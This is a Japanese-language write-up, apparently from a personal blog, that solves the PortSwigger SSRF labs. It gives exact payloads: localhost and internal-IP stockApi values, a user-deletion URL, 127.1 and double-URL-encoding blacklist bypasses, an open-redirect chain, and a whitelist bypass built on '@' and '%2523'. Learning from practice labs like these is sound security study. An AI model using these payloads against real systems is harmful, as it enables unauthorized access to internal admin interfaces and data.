PortSwigger - Server-side request forgery (SSRF)

6 min readPortSwigger#SSRF

SSRFとは

SSRF(Server-Side Request Forgery)とは、攻撃者が与えた入力を利用して、サーバ側のアプリケーションから本来意図していない宛先へリクエストを送信させる脆弱性です。

通常のクライアントからはアクセスできない localhost やプライベートネットワーク上の内部サービスに、脆弱なWebアプリケーションを経由してアクセスできる場合があります。内部の管理画面やAPIは「内部ネットワークからの通信」を信頼していることがあり、SSRFによって認証やアクセス制御を迂回できる可能性があります。

SSRFでは、攻撃者自身が内部サーバへ直接アクセスするのではなく、脆弱なサーバを代理にしてリクエストを送信させる点が重要です。

Progress
  • Basic SSRF against the local server
  • Basic SSRF against another back-end system
  • Blind SSRF with out-of-band detection
  • SSRF with blacklist-based input filter
  • SSRF with filter bypass via open redirection vulnerability
  • Blind SSRF with Shellshock exploitation
  • SSRF with whitelist-based input filter

Labs

Basic SSRF against the local server

商品詳細画面には在庫を確認する機能があり、POSTリクエスト内の stockApi を使って、サーバ側から在庫確認用のAPIへアクセスしています。

ブラウザから直接 /admin にアクセスすると、管理者としてログインしているか、loopback(localhost)からのリクエストでなければアクセスできません。

Admin interface only available if logged in as an administrator, or if requested from loopback

そこで、在庫確認機能の stockApi を http://localhost/admin に変更します。

POST /product/stock HTTP/2

stockApi=http://localhost/admin

すると、Webアプリケーション自身から localhost 宛てにリクエストが送信されるため、管理画面へアクセスできます。

レスポンスから carlos を削除するURLを確認します。

<a href="/admin/delete?username=carlos">Delete</a>

最後に stockApi を削除用URLへ変更します。

stockApi=http://localhost/admin/delete?username=carlos

このLabでは、localhost** からの通信を信頼している設計**をSSRFによって悪用しています。


Basic SSRF against another back-end system

脆弱性の場所は前章と同じです。在庫確認機能の stockApi を利用して、外部から直接アクセスできない内部ネットワーク上の管理画面を探索します。

対象は 192.168.0.X:8080/admin なので、Burp Intruderを使用して X の値をスキャンします。

stockApi=http://192.168.0.1:8080/admin

IPアドレスの最終オクテットを 1 から 255 まで試し、200 OK を返すホストを探します。

http://192.168.0.81:8080/admin  ← 200 OK

ポイントは、Webアプリケーションからは到達できるが、インターネット側からは直接到達できない内部システムをSSRF経由で操作していることです。


Blind SSRF with out-of-band detection

Burp Collaboratorを利用したOut-of-Band(OAST)通信の確認が必要なLabです。

Burp Suite Professionalが必要です。


SSRF with blacklist-based input filter

脆弱性の場所は前章と同じですが、今回は localhost、127.0.0.1、admin などの文字列がブラックリストでブロックされているため、フィルタを回避する必要があります。

まず、そのままアクセスするとブロックされます。

http://localhost
http://127.0.0.1

↓

External stock check blocked for security reasons

127.0.0.1 には複数の表記方法があり、このLabでは短縮表記の 127.1 を利用できます。

http://127.1

↓

200 OK

次に /admin がブラックリストでブロックされます。

http://127.1/admin
http://127.1/%61dmin

↓

External stock check blocked for security reasons

a を %61 にURLエンコードしただけではブロックされるため、さらに % を %25 にエンコードして二重URLエンコードします。

%61   → a
%2561 → %61 → a

最終的に以下のURLで管理画面へアクセスできます。

http://127.1/%2561dmin

↓

200 OK

このLabでは、IPアドレスの別表記と二重URLエンコードを組み合わせてブラックリストを回避しています。


SSRF with filter bypass via open redirection vulnerability

今回は stockApi のアクセス先が制限されており、内部サーバのURLを直接指定しても拒否されます。

stockApi=http://192.168.0.12:8080/admin

↓

Invalid external stock check url 'Invalid URL'

そこで、アプリケーション内に存在するOpen Redirectを利用します。

商品詳細画面の Next Product を確認すると、path パラメータに指定したURLへリダイレクトするエンドポイントが存在します。

/product/nextProduct?currentProductId=3&path=/product?productId=4

path に外部URLを指定できるため、ここを内部の管理画面へ向けます。

/product/nextProduct?path=http://192.168.0.12:8080/admin

このOpen RedirectのURLを stockApi に指定します。

stockApi 自体は許可されたローカルアプリケーションのURLなのでフィルタを通過します。その後、サーバがリダイレクトを追従することで内部の管理画面へアクセスできます。

stockApi=/product/nextProduc?path=http://192.168.0.12:8080/admin

このLabでは、SSRFのURL検証だけでは問題がなくても、許可されたURLの先にOpen Redirectが存在するとフィルタを迂回できることがポイントです。


Blind SSRF with Shellshock exploitation

Burp Collaboratorを利用したBlind SSRFの検出とShellshockの悪用を組み合わせるLabです。

Burp Suite Professionalが必要です。


SSRF with whitelist-based input filter

今回は、stockApi に指定できるホストがホワイトリストで制限されています。単純に localhost を指定しても、URLからホスト名を抽出して検証されるためアクセスできません。

まず 127.0.0.1 を指定すると拒否されます。

stockApi=http://127.0.0.1/

次に、URLのuserinfo(認証情報)を表す @ を利用します。

URLは次のような形式で、@ より前の部分をユーザー情報として持つことができます。

http://username@host/

ホワイトリストで許可されている stock.weliketoshop.net をホスト部分に置くと、リクエストが受け付けられます。

stockApi=http://username@stock.weliketoshop.net/

この結果から、アプリケーションのURLパーサがuserinfoを含むURLを処理していることが分かります。

次に username の後ろへ # を追加します。

stockApi=http://username#@stock.weliketoshop.net/

これは拒否されますが、# を二重URLエンコードした %2523 を使用すると挙動が変化します。

stockApi=http://username%2523@stock.weliketoshop.net/

↓

Internal Server Error

%2523 はデコードの段階によって %23、さらに # と解釈されます。ここでは、ホワイトリストを検証する処理と、実際にHTTPリクエストを送信する処理でURLの解釈に差があることを利用できます。

このパーサの差を利用して、許可ホスト stock.weliketoshop.net をURL内に残したまま、実際のアクセス先を localhost にします。

stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin

このLabのポイントは、ホワイトリストそのものを直接破るのではなく、@、#、二重URLエンコードを組み合わせ、複数のURLパーサ間の解釈差を利用して検証を迂回することです。